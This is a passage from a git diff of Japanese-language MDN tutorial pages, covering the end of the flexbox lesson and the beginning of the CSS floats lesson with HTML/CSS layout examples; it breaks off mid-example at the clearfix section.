+<p>それでは、最初の例に戻って、フレックス項目の占めるスペースの割合を制御する方法を見てみましょう。 ローカルコピーの <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a> を起動するか、新しい出発点として <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox1.html">flexbox1.html</a> のコピーを入手してください（<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox1.html">ライブで見る</a>）。</p> + +<p>まず、CSS の一番下に次の規則を追加します。</p> + +<pre class="brush: css notranslate">article { + flex: 1; +}</pre> + +<p>これは、各フレックス項目が主軸に沿って使用可能なスペースのうちどれだけを占めるかを決定する、無単位の割合値です。 この場合、各 {{htmlelement("article")}} 要素に 1 の値を与えています。 つまり、パディングやマージンなどを設定した後の残りの予備スペースのうちから、すべてが同じ量を占めます。 これは割合であり、各フレックス項目に 400000 の値を指定してもまったく同じ効果があることを意味します。</p> + +<p>それでは、前の規則の下に次の規則を追加します。</p> + +<pre class="brush: css notranslate">article:nth-of-type(3) { + flex: 2; +}</pre> + +<p>リフレッシュすると、3番目の {{htmlelement("article")}} が他の2つの幅の2倍の幅を占めます。 合計で 4 割合単位が使用可能です。 最初の2つのフレックス項目はそれぞれ 1 単位ずつ持つため、それぞれ使用可能なスペースの 1/4 を占めます。 3つ目は 2 単位を持っているので、それは使用可能なスペースの 2/4（または 1/2）を占めます。</p> + +<p><code>flex</code> の値内に最小サイズ値を指定することもできます。 既存の <code>article</code> の規則を次のように更新してみてください。</p> + +<pre class="brush: css notranslate">article { + flex: 1 200px; +} + +article:nth-of-type(3) { + flex: 2 200px; +}</pre> + +<p>これは基本的に「各フレックス項目には最初に 200px の使用可能なスペースが与えられます。 その後、残りの使用可能なスペースは割合単位に従って共有されます。」と述べています。 リフレッシュしてみると、スペースの共有方法に違いが見られます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p> + +<p>フレックスボックスの真の価値は、その柔軟性/応答性に見ることができます — ブラウザーウィンドウのサイズを変更したり、別の {{htmlelement("article")}} 要素を追加したりしても、レイアウトは問題なく機能します。</p> + +<h2 id="flex_shorthand_versus_longhand" name="flex_shorthand_versus_longhand">flex: 一括指定対個別指定</h2> + +<p>{{cssxref("flex")}} は、最大3つの異なる値を指定できる{{cssxref("Shorthand_properties","一括指定プロパティ")}}です。</p> + +<ul> + <li>上記で説明した無単位の割合値。 これは {{cssxref("flex-grow")}} 個別指定プロパティを使用して個別に指定できます。</li> + <li>{{cssxref("flex-shrink")}} というフレックス項目がコンテナをオーバーフローしているときに有効になる、2番目の無単位の割合値。 これは、各フレックス項目のサイズからオーバーフローする量を取り除き、それらがコンテナからオーバーフローするのを防ぐために指定します。 これはかなり高度なフレックスボックスの機能で、この記事ではこれ以上説明しません。</li> + <li>上記で説明した最小サイズ値。 これは、{{cssxref("flex-basis")}} の個別指定値を使用して個別に指定できます。</li> +</ul> + +<p>本当に必要な場合以外は、個別指定の flex プロパティを使用しないことをお勧めします（例えば、以前に設定したものを上書きする場合など）。 それらは多くの余分なコードが書かれることにつながり、多少混乱するかもしれません。</p> + +<h2 id="Horizontal_and_vertical_alignment" name="Horizontal_and_vertical_alignment">水平方向と垂直方向の配置</h2> + +<p>フレックスボックスの機能を使用して、主軸または交差軸に沿ってフレックス項目を整列させることもできます。 新しい例である <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flex-align0.html">flex-align0.html</a> を見て（<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flex-align0.html">ライブも見る</a>）、これを調べてみましょう。 これは、きちんとした柔軟なボタン/ツールバーに変わります。 現時点では、いくつかのボタンが左上隅に詰まった水平のメニューバーが表示されます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13414/flexbox-example5.png" style="display: block; height: 77px; margin: 0px auto; width: 600px;"></p> + +<p>まず、この例のローカルコピーを取ります。</p> + +<p>それでは、例の CSS の最後に次のものを追加してください。</p> + +<pre class="brush: css notranslate">div { + display: flex; + align-items: center; + justify-content: space-around; +}</pre> + +<p>ページをリフレッシュすると、ボタンが横方向と縦方向に中央揃えになっていることがわかります。 これを2つの新しいプロパティを介して行いました。</p> + +<p>{{cssxref("align-items")}} は、フレックス項目が交差軸上のどこに配置されるかを制御します。</p> + +<ul> + <li>デフォルトでは、この値は <code>stretch</code> です。 これは、すべてのフレックス項目を交差軸の方向に親を埋めるように引き伸ばします。 親が交差軸方向に固定幅を持っていない場合、すべてのフレックス項目は最長のフレックス項目と同じ長さになります。 これが最初の例がデフォルトで同じ高さの列を得た方法です。</li> + <li>上記のコードで使用した <code>center</code> の値により、項目は固有の寸法を維持しますが、交差軸の中心に配置されます。 これが、この例のボタンが縦方向に中央揃えされている理由です。</li> + <li><code>flex-start</code> や <code>flex-end</code> のような値を持つこともできます。 これは、すべての項目をそれぞれ交差軸の始点や終点に揃えます。 詳細については {{cssxref("align-items")}} を参照してください。</li> +</ul> + +<p>{{cssxref("align-self")}} プロパティを適用することで、個々のフレックス項目の {{cssxref("align-items")}} のふるまいを上書きできます。 例えば、CSS に次のコードを追加してみてください。</p> + +<pre class="brush: css notranslate">button:first-child { + align-self: flex-end; +}</pre> + +<p>これがどのような影響を与えるのかを見て、終了したらもう一度削除します。</p> + +<p>{{cssxref("justify-content")}} は、フレックス項目が主軸上のどこに配置されるかを制御します。</p> + +<ul> + <li>デフォルト値は <code>flex-start</code> です。 これにより、すべての項目が主軸の始点に配置されます。</li> + <li>それらを終点に配置させるために <code>flex-end</code> を使うことができます。</li> + <li><code>center</code> は <code>justify-content</code> のための値でもあり、フレックス項目を主軸の中心に配置します。</li> + <li>上記で使用した値、<code>space-around</code> は便利です。 両端に少しのスペースを残して、すべての項目を主軸に沿って均等に配置します。</li> + <li>もう1つの値、<code>space-between</code> があります。 これは、両端にスペースを残さないという点を除けば、<code>space-around</code> に非常に似ています。</li> +</ul> + +<p>続ける前に、これらの値を使用してそれらがどのように機能するかを確認することをお勧めします。</p> + +<h2 id="Ordering_flex_items" name="Ordering_flex_items">フレックス項目の順序付け</h2> + +<p>フレックスボックスには、ソース順に影響を与えずにフレックス項目のレイアウトの順序を変更する機能もあります。 これも従来のレイアウト方法では不可能なことです。</p> + +<p>このコードは簡単です。 ボタンバーのサンプルコードに次の CSS を追加してみてください。</p> + +<pre class="brush: css notranslate">button:first-child { + order: 1; +}</pre> + +<p>リフレッシュすると、[Smile] ボタンが主軸の終点に移動したことがわかります。 これがどのように機能するかについてもう少し詳しく説明しましょう。</p> + +<ul> + <li>デフォルトでは、すべてのフレックス項目の {{cssxref("order")}} の値は 0 です。</li> + <li>大きな <code>order</code> の値が設定されているフレックス項目は、小さな <code>order</code> の値を持つ項目よりも表示順序の後半に表示されます。</li> + <li>同じ <code>order</code> の値を持つフレックス項目は、ソース順で表示されます。 そのため、2、1、1、0 の <code>order</code> の値がそれぞれ設定された4つの項目がある場合、それらの表示順序は 4、2、3、1 となります。</li> + <li>3番目の項目は2番目の後に表示されます。 これは、同じ <code>order</code> の値を持ち、ソース順でそれより後にあるためです。</li> +</ul> + +<p>負の <code>order</code> の値を設定して、0 が設定されている項目よりも早く項目を表示することができます。 例えば、次の規則を使用して、[Blush] ボタンを主軸の始点に表示させることができます。</p> + +<pre class="brush: css notranslate">button:last-child { + order: -1; +}</pre> + +<h2 id="Nested_flex_boxes" name="Nested_flex_boxes">ネストしたフレックスボックス</h2> + +<p>フレックスボックスを使ってかなり複雑なレイアウトを作成することは可能です。 フレックス項目をフレックスコンテナとしても設定して、その子も柔軟な箱のようにレイアウトできるようにしてもまったく問題ありません。 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/complex-flexbox.html">complex-flexbox.html</a> を見てください（<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/complex-flexbox.html">ライブも見る</a>）。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13418/flexbox-example7.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>このための HTML はかなり単純です。 3つの {{htmlelement("article")}} を含む {{htmlelement("section")}} 要素があります。 3番目の {{htmlelement("article")}} には3つの {{htmlelement("div")}} が含まれています。</p> + +<pre class="notranslate">section - article + article + article - div - button + div button + div button + button + button</pre> + +<p>レイアウトに使用したコードを見てみましょう。</p> + +<p>まず、{{htmlelement("section")}} の子を柔軟な箱として配置するように設定します。</p> + +<pre class="brush: css notranslate">section { + display: flex; +}</pre> + +<p>次に、{{htmlelement("article")}} 自体にいくつかの <code>flex</code> の値を設定します。 ここで2番目の規則に特に注意してください — 3番目の {{htmlelement("article")}} は、その子もフレックス項目のようにレイアウトするように設定していますが、今回はそれらを <code>column</code> のようにレイアウトしています。</p> + +<pre class="brush: css notranslate">article { + flex: 1 200px; +} + +article:nth-of-type(3) { + flex: 3 200px; + display: flex; + flex-flow: column; +} +</pre> + +<p>次に、最初の {{htmlelement("div")}} を選択します。 最初に <code>flex: 1 100px;</code> を使用して効果的にそれの最小の高さを 100px にしてから、その子（{{htmlelement("button")}} 要素）もフレックス項目のように配置されるように設定します。 ここでそれらをラッピングする行にレイアウトし、先ほど見た個々のボタンの例で行ったように、それらを使用可能なスペースの中央に配置します。</p> + +<pre class="brush: css notranslate">article:nth-of-type(3) div:first-child { + flex: 1 100px; + display: flex; + flex-flow: row wrap; + align-items: center; + justify-content: space-around; +}</pre> + +<p>最後に、ボタンのサイズを設定しましたが、もっとおもしろいことに、<code>1 auto</code> の <code>flex</code> の値を設定しています。 これは非常に興味深い効果があり、ブラウザーウィンドウの幅を変更してみるとわかります。 ボタンは可能な限り多くのスペースを占有し、できるだけ同じラインに配置できますが、同じラインに収まりきらなくなった場合は、ドロップダウンして新しいラインを作成します。</p> + +<pre class="brush: css notranslate">button { + flex: 1 auto; + margin: 5px; + font-size: 18px; + line-height: 1.5; +}</pre> + +<h2 id="Cross_browser_compatibility" name="Cross_browser_compatibility">クロスブラウザー互換性</h2> + +<p>フレックスボックスのサポートは、Firefox、Chrome、Opera、Microsoft Edge、IE 11、Android / iOS の新しいバージョンなど、ほとんどの新しいブラウザーで利用できます。 ただし、フレックスボックスをサポートしていない古いブラウザーもまだあります（または、しますが、本当に古い、時代遅れのバージョンをサポートします）。</p> + +<p>あなたがただ学んで実験している間、これはあまり重要ではありません。 ただし、実際のウェブサイトでフレックスボックスを使用することを検討している場合は、テストを行い、できるだけ多くのブラウザーでユーザーエクスペリエンスが許容範囲内であることを確認する必要があります。</p> + +<p>フレックスボックスはいくつかの CSS 機能よりも少しトリッキーです。 例えば、ブラウザーに CSS ドロップシャドウがない場合でも、そのサイトは引き続き使用可能です。 ただし、フレックスボックス機能をサポートしていないと、レイアウトが完全に壊れて使用できなくなる可能性があります。</p> + +<p><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing">クロスブラウザーテスト</a>のモジュールでは、クロスブラウザーのサポートの問題を解決するための戦略について説明します。</p> + +<h2 id="スキルをテストしましょう!">スキルをテストしましょう!</h2> + +<p>この記事では多くをカバーしましたが、最も大事な情報を覚えていますか？次に移動する前に、この情報を保持しているか検証するテストがあります — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/CSS/CSS_layout/Flexbox_skills">Test your skills: Flexbox</a> を見てください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>これで、フレックスボックスの基本についてのツアーは終了です。 私たちはあなたが楽しみを持って、学習と共に前進するにつれてそれと一緒に良い遊びがあることを願っています。 次に、CSS レイアウトのもう1つの重要な側面、CSS グリッドについて見ていきます。</p> + +<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div> + +<div> +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> +</div> diff --git a/files/ja/learn/css/css_layout/floats/index.html b/files/ja/learn/css/css_layout/floats/index.html new file mode 100644 index 0000000000..8de6f5367f --- /dev/null +++ b/files/ja/learn/css/css_layout/floats/index.html @@ -0,0 +1,528 @@ +--- +title: フロート +slug: Learn/CSS/CSS_layout/Floats +tags: + - Article + - Beginner + - CSS + - Clearing + - CodingScripting + - Floats + - Guide + - Layout + - columns + - multi-column +translation_of: Learn/CSS/CSS_layout/Floats +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary"><span class="seoSummary">{{cssxref("float")}} プロパティは、もともとはテキストブロック内の浮動画像のためのものでしたが、ウェブページ上に複数列レイアウトを作成するために最も一般的に使われるツールの1つになりました。 この記事で説明しているように、フレックスボックスとグリッドの出現により、今は当初の目的に戻っています。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>ウェブページ上に浮動の特長を作成する方法と、<code>clear</code> プロパティおよびその他のフロートのクリア方法の使い方を習得します。</td> + </tr> + </tbody> +</table> + +<h2 id="The_background_of_floats" name="The_background_of_floats">フロートの背景</h2> + +<p>画像の左や右を包み込むテキストにより、テキストの列内に浮かぶ画像を含む単純なレイアウトをウェブ開発者が実装できるようにするために {{cssxref("float")}} プロパティが導入されました。 あなたが新聞のレイアウトで得るかもしれない種類のものです。</p> + +<p>しかしウェブ開発者はすぐに画像だけでなく何でも浮かべることができることに気づいたので、フロートの使用は広がりました。 例えば、<a href="https://css-tricks.com/snippets/css/drop-caps/">drop-caps</a> のような楽しいレイアウト効果です。</p> + +<p>フロートは一般に、互いに並ぶように浮動する複数列の情報を含むウェブサイト全体のレイアウトを作成するために使用されてきました（デフォルトのふるまいでは、列はソースに表れる順序と同じ順序で上下に配置されます）。 より新しくより良いレイアウトテクニックが利用可能なので、このようにフロートを使うことは<a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のテクニック</a>とみなされるべきです。</p> + +<p>この記事では、フロートの正しい使い方に集中します。</p> + +<h2 id="A_simple_float_example" name="A_simple_float_example">簡単なフロートの例</h2> + +<p>フロートの使い方を探りましょう。 要素の周りにテキストのブロックを浮かべることを含む本当に簡単な例から始めましょう。 コンピュータ上に新しい <code>index.html</code> ファイルを作成し、<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">簡単な HTML テンプレート</a>を使ってそれを埋め、適切な場所に以下のコードを挿入することで、フォローすることができます。 セクションの一番下では、最終的なコードがどのようになるべきかの実例を見ることができます。</p> + +<p>まず、簡単な HTML から始めましょう。 HTML の <code>body</code> に次のコードを追加し、それまでの内部にあるものはすべて削除します。</p> + +<pre class="brush: html notranslate"><h1>Simple float example</h1> + +<div class="box">Float</div> + +<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. </p> + +<p>Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p></pre> + +<p>次の CSS を HTML に適用します（{{htmlelement("style")}} 要素を使用するか、{{htmlelement("link")}} を使用して別の <code>.css</code> ファイルを作成するか、選択します）。</p> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; + font: .9em/1.2 Arial, Helvetica, sans-serif +} + +.box { + width: 150px; + height: 100px; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +}</pre> + +<p>保存してリフレッシュすると予想していたものとよく似たものが表示されます — <code>box</code> が通常フローでテキストの上側に表示されます。 テキストをそれの周囲に浮かべるには、次のように <code>.box</code> 規則に {{cssxref("float")}} と {{cssxref("margin-right")}} プロパティを追加します。</p> + +<pre class="brush: css notranslate">.box { + float: left; + margin-right: 15px; + width: 150px; + height: 100px; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +}</pre> + +<p>保存してリフレッシュすると、次のようになります。</p> + +<div id="Float_1"> +<div class="hidden"> +<h6 id="Float_Example_1">Float Example 1</h6> + +<pre class="brush: html notranslate"><h1>Simple float example</h1> + +<div class="box">Float</div> + +<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> + +<p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; + font: .9em/1.2 Arial, Helvetica, sans-serif +} + +.box { + float: left; + margin-right: 15px; + width: 150px; + height: 150px; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +} +</pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Float_1', '100%', 500) }}</p> + +<p>フロートがどのように機能するかを考えてみましょう。 <code>float</code> が設定されている要素（この場合は {{htmlelement("div")}} 要素）は、文書の通常のレイアウトフローから除かれ、その親コンテナ（この場合は {{htmlelement("body")}}）の左側に固定されます。 通常のレイアウトフローで浮動要素の下側に来るコンテンツは、それを包み込み、浮動要素の最上部まで、その右側のスペースを埋めます。 そこで、それは止まるでしょう。</p> + +<p>コンテンツを右に浮かべるとまったく同じ効果が得られますが、逆になります。 つまり、浮動要素は右に固定され、コンテンツはその左側を包み込みます。 <code>float</code> の値を <code>right</code> に変更し、最後のルールセットで {{cssxref("margin-right")}} を {{cssxref("margin-left")}} に置き換えて、結果がどうなるかを確認してください。</p> + +<p>テキストを押しのけるためにフロートにマージン（margin、余白）を追加することはできますが、テキストをフロートから遠ざけるためにテキストにマージンを追加することはできません。 これは、浮動要素は通常フローから外され、後続項目のボックスが実際にはフロートの背後にあるためです。 例にいくつかの変更を加えることによってこれを実証することができます。</p> + +<p>テキストの最初の段落、つまり浮動ボックスの直後の段落に <code>special</code> のクラスを追加してから、CSS に次の規則を追加します。 これらは後続段落に背景色を与えます。</p> + +<pre class="brush: css notranslate">.special { + background-color: rgb(79,185,227); + padding: 10px; + color: #fff; +} +</pre> + +<p>効果を見やすくするために、フロートの <code>margin-right</code> を <code>margin</code> に変更すると、フロートの全周にマージンができます。 以下の例のように、浮動ボックスの真下にある段落の背景を見ることができます。</p> + +<div id="Float_2"> +<div class="hidden"> +<h6 id="Float_Example_2">Float Example 2</h6> + +<pre class="brush: html notranslate"><h1>Simple float example</h1> + +<div class="box">Float</div> + +<p class="special">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> + +<p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; + font: .9em/1.2 Arial, Helvetica, sans-serif +} + +.box { + float: left; + margin: 15px; + width: 150px; + height: 150px; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +} + +.special { + background-color: rgb(79,185,227); + padding: 10px; + color: #fff; +} +</pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Float_2', '100%', 500) }}</p> + +<p>後続要素の<a href="/ja/docs/Web/CSS/Visual_formatting_model#Line_boxes">行ボックス</a>は短くなっているのでテキストはフロートの周りを囲みますが、フロートは通常フローから除かれるため、段落の周りのボックスは依然として全幅のままです。</p> + +<h2 id="Clearing_floats" name="Clearing_floats">フロートのクリア</h2> + +<p>フロートは通常フローから除かれ、他の要素がその横に表示されることを見てきました。 したがって、後続要素の上方向への移動を止めたい場合は、それをクリアする必要があります; これは {{cssxref("clear")}} プロパティによって達成されます。</p> + +<p>前の例の HTML では、浮動項目の下の2番目の段落に <code>cleared</code> のクラスを追加します。 次に、CSS に以下を追加してください。</p> + +<pre class="brush: css notranslate">.cleared { + clear: left; +} +</pre> + +<div id="Float_3"> +<div class="hidden"> +<h6 id="Float_Example_3">Float Example 3</h6> + +<pre class="brush: html notranslate"><h1>Simple float example</h1> + +<div class="box">Float</div> + +<p class="special">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> + +<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + </pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; + font: .9em/1.2 Arial, Helvetica, sans-serif +} + +.box { + float: left; + margin: 15px; + width: 150px; + height: 150px; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +} + +.special { + background-color: rgb(79,185,227); + padding: 10px; + color: #fff; +} + +.cleared { + clear: left; +} +</pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Float_3', '100%', 600) }}</p> + +<p>後続段落で、浮動要素がクリアされ、並んで現れなくなったことがわかります。 <code>clear</code> プロパティは次の値を受け入れます。</p> + +<ul> + <li><code>left</code>: 左に浮いている項目をクリアします。</li> + <li><code>right</code>: 右に浮いている項目をクリアします。</li> + <li><code>both</code>: 左や右に浮いている項目をどちらもクリアします。</li> +</ul> + +<h2 id="Clearing_boxes_wrapped_around_a_float" name="Clearing_boxes_wrapped_around_a_float">フロートを包み込むボックスのクリア</h2> + +<p>浮動要素に後続するものをクリアする方法はわかりましたが、背の高いフロートと短い段落があり、その両方の要素の周りをボックスが包む場合はどうなるか見てみましょう。 最初の段落と浮動ボックスが <code>wrapper</code> のクラスの {{htmlelement("div")}} に囲まれるように文書を変更します。</p> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="box">Float</div> + + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.</p> +</div> +</pre> + +<p>CSS で、<code>.wrapper</code> クラスに次の規則を追加してからページをリロードします。</p> + +<pre class="brush: css notranslate">.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + color: #fff; +}</pre> + +<p>加えて、元の <code>.cleared</code> クラスを削除します。</p> + +<pre class="brush: css notranslate" id="ct-0">.cleared { + clear: left; +}</pre> + +<p>段落に背景色を与えた例と同じように、背景色がフロートの背後にあることがわかります。</p> + +<div id="Float_4"> +<div class="hidden"> +<h6 id="Float_Example_4">Float Example 4</h6> + +<pre class="brush: html notranslate"><h1>Simple float example</h1> +<div class="wrapper"> + <div class="box">Float</div> + + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. </p> +</div> + +<p class="cleared">Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; + font: .9em/1.2 Arial, Helvetica, sans-serif +} + +.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + color: #fff; +} + +.box { + float: left; + margin: 15px; + width: 150px; + height: 150px; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +} +</pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Float_4', '100%', 600) }}</p> + +<p>前と同じように、これもまた、フロートが通常フローから外されたためです。 コンテンツが短い場合でも、ボックスの底に浮動項目とラッピングコンテンツを包む必要がある場合には、後続要素のクリアでは、このボックスのクリアの問題を解決することはできません。 これに対処する方法は3つあります。 そのうちの2つはすべてのブラウザーで機能します — それでもやや厄介です — そしてこの状況に適切に対処する3番目の新しい方法です。</p> + +<h3 id="The_clearfix_hack" name="The_clearfix_hack">clearfix ハック</h3> + +<p>この状況に伝統的に対処してきた方法は、「clearfix ハック」として知られているものを使うことです。 これはフロートとラッピングコンテンツを含むボックスの後に生成したコンテンツを挿入し、両方をクリアするように設定することを含みます。</p> + +<p>例に次の CSS を追加します。</p> + +<pre class="brush: css 